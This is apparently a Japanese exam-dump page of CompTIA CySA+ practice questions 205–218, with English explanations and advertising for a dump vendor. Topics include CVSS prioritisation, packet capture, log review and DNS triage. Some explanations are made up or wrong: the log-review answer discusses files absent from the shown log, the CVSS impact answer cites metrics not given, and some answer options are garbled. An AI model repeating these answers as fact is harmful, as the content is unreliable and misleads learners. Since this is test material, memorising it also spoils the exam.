Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.

質問: 205

暗号通貨サービス会社は、自社システム上のデータの正確性を確保することに主に関心を持っています。セキュリティ アナリストは、システムを修復するために脆弱性の優先順位を付ける任務を負っています。

アナリストは、優先順位付けのために次の CVSSv3.1 影響メトリックを使用します。

Vulnerability	CVSSv3.1 impact metrics
1	C:L/I:L/A:L
2	C:N/I:L/A:H
3	C:H/I:N/A:N
4	C:L/I:H/A:L

次の脆弱性のうち、優先的に修復する必要があるものはどれですか？

- A. 1
- B. 2
- C. 3

D. 4

正解: ([正解を表示します](#))

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

References:

CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2

The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

質問: 206

セキュリティアナリストが、侵害された可能性のあるマシンからのFTPセッションを含むWiresharkのパケットキャプチャをレビューしています。アナリストは、次の表示フィルタを設定します ftp。アナリストは、226 Transfer complete応答を伴う複数のRETRリクエストがあることを確認できますが、パケットリストペインにはファイル転送自体を含むパケットが表示されません。ダウンロードされたファイルの全内容を確認するには、アナリストは次のうちどれを実行すればよいのでしょうか？

- A. 表示フィルターを f cp. accive. pore に変更します
- B. 表示フィルターをtcg.port=20に変更します
- C. 表示フィルタを f cp-daca に変更し、TCP ストリームを追跡します
- D. ファイルメニューに移動し、エクスポートオブジェクトのオプションからFTPを選択します。

正解: **C** ([コメントを发表する](#))

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

質問: 207

ある組織が弁護士から法的保留要請を受け取りました。この要請は、係争中のベンダー契約に関連するメールに関するものです。セキュリティチームが要請への対応を確実にするために最初にとるべき手順は次のうちどれですか？

- A. 他のベンダーにリクエストを公開します。
- B. 関係部署に通知して、関連する可能性のある情報を保全してください。
- C. 弁護士の要請から始まる保管管理の連鎖を確立する。
- D. サーバー上のメールボックスをバックアップし、弁護士にコピーを提供してください。

正解: ([正解を表示します](#))

The first step for the security team when receiving a legal hold request is to notify the relevant departments to preserve all potentially relevant information. This ensures that no data is altered, deleted, or otherwise tampered with, which is critical for maintaining the integrity of the evidence. Preserving information includes emails, documents, and any other data that might be relevant to the legal matter. Establishing a chain of custody and backing up data are also important steps, but notifying the involved parties is the immediate priority to prevent data loss.

質問: 208

新しいソフトウェア要求に対するサイバーセキュリティ リスク評価を実施した後、最高情報セキュリティ責任者 (CISO) はリスク スコアが高すぎると判断しました。CISO はソフトウェアの要求を拒否しました。CISO は次のリスク管理原則のうちどれを選択しましたか？

- A. 避ける
- B. 転送
- C. 受け入れる
- D. 軽減する

正解: ([正解を表示します](#))

Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or unacceptable. Avoiding a risk can eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO decided the risk score would be too high and refused the software request. This indicates that the CISO selected the avoid principle for risk management.

質問: 209

脆弱性評価チームが定期レポートを他のチームと共有するたびに、既存のインフラストラクチャのバージョンとパッチに関する不一致が発見されます。不一致を減らすための最適なソリューションは次のどれですか？

- A. 認証スキャンの実装
- B. パッシブスキャンアプローチからアクティブスキャンアプローチへの変更
- C. IT資産を管理するための一元的な場所の実装
- D. エージェントレススキャンを実行しています

正解: C ([コメントを發表する](#))

Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies regarding versions and patches in the existing infrastructure. A central place to manage IT assets, such as a configuration management database (CMDB), can help the vulnerability assessment team to have an accurate and up-to-date inventory of all the hardware and software components in the network, as well as their relationships and dependencies. A CMDB can also track the changes and updates made to the IT assets, and provide a single source of truth for the vulnerability assessment team and other teams to compare and verify the versions and patches of the infrastructure¹². Implementing credentialed scanning, changing from a passive to an active scanning approach, and performing agentless scanning are all methods to improve the vulnerability scanning process, but they do not address the root cause of the inconsistencies, which is the lack of a central place to manage IT assets³. References: What is a Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability Management, Vulnerability Scanning Best Practices

質問: 210

ある組織が、コードを本番環境に実装しました。定期テスト中に、侵入テスターは、一部のコードにバックドアが実装されており、開発者が変更管理ウィンドウ外で変更を加えていることを発見しました。この問題を防ぐ最善の方法は次のどれですか。

- A. SDLCトレーニング
- B. 動的解析
- C. デバッグ
- D. ソースコードレビュー

正解: ([正解を表示します](#))

A backdoor is a deliberate vulnerability inserted into the code, often allowing unauthorized access.

Source code review (Option D) is the best way to detect malicious code before it is deployed to production.

SDLC training (Option A) is helpful but does not directly prevent the insertion of backdoors.

Dynamic analysis (Option B) detects vulnerabilities at runtime but may not always identify backdoors in code.

Debugging (Option C) is useful for troubleshooting but does not address security vulnerabilities.

Reference: CompTIA CySA+ CS0-003 Official Study Guide, Secure Software Development Practices.

質問: 211

アナリストは次のログ エントリを表示します。

```
202.180.158.22 - - [12/Aug/2018:11:42:20 -0200] "GET /src/sourceCode.bat\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:16 -0200] "GET /img/orgChart.jpg\HTTP/1.0" 200 291
121.19.30.221 - - [12/Aug/2018:13:04:17 -0200] "GET /cgi-bin/stats.pl?month=12\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartDirectors.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartStaff.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderlings.jpg\HTTP/1.0" 404 291
216.122.5.5 - - [12/Aug/2018:13:04:18 -0200] "GET /cgi-bin/quarterly.pl?qtr=3\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderUnderlings.jpg.jpg\HTTP/1.0" 404 291
```

組織には、216.122.5.x 範囲のホストを持つパートナー ベンダーがいます。このパートナー ベンダーは月次レポートにアクセスする必要があり、アクセスが許可されている唯一の外部ベンダーです。組織は、次の階層に従ってインシデント調査の優先順位を付けます。不正なデータ開示は、サービス拒否の試みよりも重大です。

これらはベンダーデータへのアクセスを確保することよりも重要です。

ログ ファイルと組織の優先順位に基づいて、次のホストのうちどれが追加調査の価値がありますか？

- A. 121.19.30.221
- B. 134.17.188.5
- C. 202.180.1582
- D. 216.122.5.5

正解: A ([コメントを发表する](#))

The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is

121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor's range.

The log files show the following information:

- * The IP addresses of the hosts that accessed the web server
- * The date and time of the access
- * The file path of the requested resource
- * The number of bytes transferred

The organization's priorities are:

- * Unauthorized data disclosure is more critical than denial of service attempts
 - * Denial of service attempts are more important than ensuring vendor data access
- According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so¹²³. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor's range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization's priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests⁴⁵. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization's priorities, and there is no evidence that this host succeeded in disrupting the web server's normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor's range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization's requirements.

Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the organization.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 212

セキュリティアナリストは、DNSログの定期的なレビュー中に、ホストXがajd8ekthj.xyzのようなランダムな英数字文字列を含むドメインに対して頻繁にDNSリクエストを行っていることに気づきました。IPSの異常検知ルールはこれらのドメインをブロックしています。この動作は、ホストに新しいソフトウェアをインストールした直後に始まりました。ホストXが侵害されているかどうかを判断するために、アナリストはまず次のうちどれを行うべきでしょうか？

- A. DNSリクエストは設定ミスのあるソフトウェアアップデートの一部であるため、ドメインを許可します。
- B. ソフトウェアのインストールログにエラーがないか確認し、ソフトウェアを再インストールしてください。
- C. ホストからのすべての送信接続をブロックして、それ以上のDNSクエリを防止します。
- D. 脅威インテリジェンスを使用して、照会されたドメインが正規のサイトに関連付けられているかどうかを確認します。

正解: ([正解を表示します](#))

The correct answer is D because the analyst should first validate whether the suspicious DNS domains are malicious or legitimate. Random-looking DNS domains may indicate malware using a domain generation algorithm (DGA) for command-and-control, but they can also appear in legitimate services such as content delivery networks or software update mechanisms. Therefore, the best first step is to enrich the DNS indicators using threat intelligence and reputation sources.

Exact supporting extract: the CySA+ All-in-One guide explains that DNS tunneling and abnormal DNS queries may be used for command-and-control or exfiltration. It also states that high-entropy domains appear random or "gibberish" to humans and that malware may use DGAs for C2 communication. However, it also warns that computer-generated domain names can have legitimate uses in content delivery networks.

The same guide explains that threat research should help answer questions such as whether an artifact is benign, whether anyone has seen it before, and why it is present in the system. It further explains that reputation data for domains, URLs, and IP addresses helps determine whether activity is associated with malware, phishing, C2, or data exfiltration.

Why the other options are incorrect:

A is incorrect because allowing the domains without validation could permit C2 or data exfiltration.

B is incorrect because reinstalling the software does not determine whether the DNS activity is malicious.

C is incorrect because blocking all outbound connections is a containment action, not the best first investigative step when the analyst is still determining whether compromise occurred.

D is correct because threat intelligence/reputation lookup is the most appropriate first validation step for suspicious DNS indicators.

質問: 213

SOC チーム リーダーは、調査のためにDNS情報を収集することがあります。チーム リーダーは、このタスクを新しいジュニア アナリストに割り当てます。プロセス情報をジュニア アナリストに伝える最適な方法は、次のうちどれですか。

- A. 別のチームメンバーにプロセスをデモンストレーションしてもらいます。
- B. 同様のプロセスを実演している Web サイトへのリンクを電子メールで送信します。
- C. ジュニアアナリストにプロセスの調査と開発を任せます。
- D. チームの Wiki に、プロセスの概要を説明したステップバイステップのドキュメントを作成します。

正解: ([正解を表示します](#))

Documenting the process in a step-by-step format on the team wiki ensures the junior analyst has a clear, repeatable reference. This approach also supports consistency and accuracy, and the documentation can be updated or referenced by other team members as needed. CompTIA emphasizes the importance of procedural documentation in both CySA+ and Security+ for ensuring team members have reliable resources for task execution, which aids in knowledge retention and standardized practices across the team.

質問: 214

デジタルフォレンジックプロセスにおいて、プロセスやオペレーティングシステムのイベントのグラフィカルな表現が含まれることが多い重要なアクティビティと見なされるのはどれですか？

- A. レジストリ編集
- B. ネットワークマッピング
- C. タイムライン分析
- D. 書き込みブロック

正解: ([正解を表示します](#))

Timeline analysis in digital forensics involves creating a chronological sequence of events based on system logs, file changes, and other forensic data. This process often uses graphical representations to illustrate and analyze how an incident unfolded over time, making it easier to identify key events and potential indicators of compromise. This approach is highlighted in CompTIA Cybersecurity Analyst (CySA+) practices as crucial for understanding the scope and sequence of a security incident. The other options do not involve chronological or graphical analysis to the extent that timeline analysis does.

質問: 215

セキュリティアナリストは、修復すべき脆弱性の優先順位付けを担当します。関連する企業のセキュリティポリシーは以下のとおりです。

セキュリティポリシー1006：脆弱性管理

1. 当社は、セキュリティ脆弱性の修復の優先順位付けにCVSSv3.1基本スコア指標(悪用可能性と影響)を使用するものとします。
2. 機密性と可用性のどちらかを選択しなければならない状況においては、当社はシステムの可用性およびデータの可用性よりもデータの機密性を優先するものとします。
3. 当社は、社内でも利用可能なシステムのパッチ適用よりも、一般に公開されているシステムおよびサービスのパッチ適用を優先するものとします。

セキュリティポリシーによれば、以下の脆弱性のうち、パッチ適用を最も優先すべきものはどれですか？

- A.

Name: THOR.HAMMER
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Internal System
- B.

Name: CAP.SHIELD
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

External System
- C.

Name: LOKI.DAGGER
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

External System
- D.

Name: THANOS.GAUNTLET
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Internal System

正解: ([正解を表示します](#))

To determine the correct priority, you must filter the options by applying the rules from Security Policy 1006 in the order of importance dictated by the scenario.

"The Company shall prioritize patching of publicly available systems and services over patching of internally available system."

- * Option A: Internal System
- * Option B: External System (Keep)
- * Option C: External System (Keep)

* Option D: Internal System

Result: Eliminate Options A and D. We are now choosing between B and C.

"In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data." To apply this, you must read the CVSS v3.1 Vector String for the remaining options. The relevant metrics are C (Confidentiality) and A (Availability).

* Option B (CAP.SHIELD): C:H / I:N / A:N

* Confidentiality: High (C:H)

* Availability: None (A:N)

* Interpretation: This vulnerability allows for a significant breach of data confidentiality.

* Option C (LOKI.DAGGER): C:N / I:N / A:H

* Confidentiality: None (C:N)

* Availability: High (A:H)

* Interpretation: This vulnerability allows for a significant disruption of service (DoS).

Conclusion: Since the policy explicitly prioritizes Confidentiality (Option B) over Availability (Option C), Option B is the highest priority.

The exam expects you to parse raw CVSS strings to assess risk. Here is the breakdown for the correct answer (Option B):

Metric

Code

Value

Meaning

AV

AV:N

Network

The vulnerability is exploitable remotely via the network (most dangerous).

AC

AC:L

Low

No complex conditions are required to exploit.

PR

PR:N

None

No privileges are required (unauthenticated).

UI

UI:N

None

No user interaction is required.

C

C:H

High

Confidentiality Impact. Total loss of confidentiality.

A

A:N

None

Availability Impact. No impact to uptime.

質問: 216

侵入テスターは、ある組織のソフトウェア開発ウェブサイトでテストを実施しています。侵入テスターは、ウェブインターフェースに次のリクエストを送信します。



次のうち、どのエクスプロイトが最も試みられる可能性が高いでしょうか？

- A. SQLインジェクション
- B. ローカルファイルのインクルード
- C. クロスサイトスクリプティング
- D. ディレクトリトラバーサル

正解: A ([コメントを发表する](#))

SQL injection is a type of attack that injects malicious SQL statements into a web application's input fields or parameters, in order to manipulate or access the underlying database. The request shown in the image contains an SQL injection attempt, as indicated by the "UNION SELECT" statement, which is used to combine the results of two or more queries. The attacker is trying to extract information from the database by appending the malicious query to the original one

質問: 217

アナリストは、以下の脆弱性リストを精査する。

CVE ID | CVSS | 武器化済み | カウント | 場所

CVE-2024-9837 | 9.2 | はい | 58 | 内部

CVE-2024-9964 | 9.0 | はい | 24 | 内部

CVE-2023-8524 | 9.1 | はい | 55 | 外部

CVE-2024-1587 | 8.7 | はい | 55 | 内部

アナリストは、CVE-2023-8524が最優先の修復対象であり、直ちにパッチを適用すべきであると判断しました。アナリストは、修復作業の優先順位を決定するために、次のうちどれを使用しましたか？

- A. コンテキスト認識
- B. 重要度
- C. エクスプロイトの利用可能性
- D. 再帰

正解: ([正解を表示します](#))

The correct answer is A because the analyst did not choose the vulnerability with the highest CVSS score.

Instead, the analyst prioritized the vulnerability that is external-facing. That is a context-aware prioritization decision: the vulnerability's exposure and location increase its likelihood of exploitation.

Exact supporting extract: the All-in-One CySA+ guide states that context awareness means prioritization depends on the situation, including whether the affected system is internal, external, or isolated. It further states that external systems may require faster remediation because they are more exposed to attacks and may be compromised faster.

The Secbay CySA+ guide also states that prioritizing vulnerabilities requires considering context, including whether vulnerabilities affect internal systems, external-facing systems, or isolated systems. It specifically notes that vulnerabilities exposed to external threats may receive higher priority due to increased risk exposure.

Why the other options are incorrect:

B is incorrect because the table does not provide asset criticality or business value.

C is incorrect because all listed vulnerabilities are weaponized, so exploit availability does not distinguish CVE-2023-8524 from the others.

D is incorrect because recurrence is not the deciding factor shown. Some internal vulnerabilities have similar or higher counts.

A is correct because the deciding factor is the vulnerability's external exposure, which is context awareness.

質問: 218

セキュリティインシデント発生時に、CSIRTリーダーが誰にいつ連絡を取るべきかをどのように判断するかを説明しているのは、次のうちどれですか？

- A. リーダーは、インシデント対応ポリシーまたは計画に記載されている内容を確認する必要があります。
- B. CSIRTの管理職レベルのメンバーがその決定を下すべきである
- C. リーダーはいつでも誰とコミュニケーションを取るかを決定する権限を持つ
- D. チーム内の主題専門家は、指定された専門分野内の他のメンバーとコミュニケーションを取る必要があります。

正解: ([正解を表示します](#))

The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」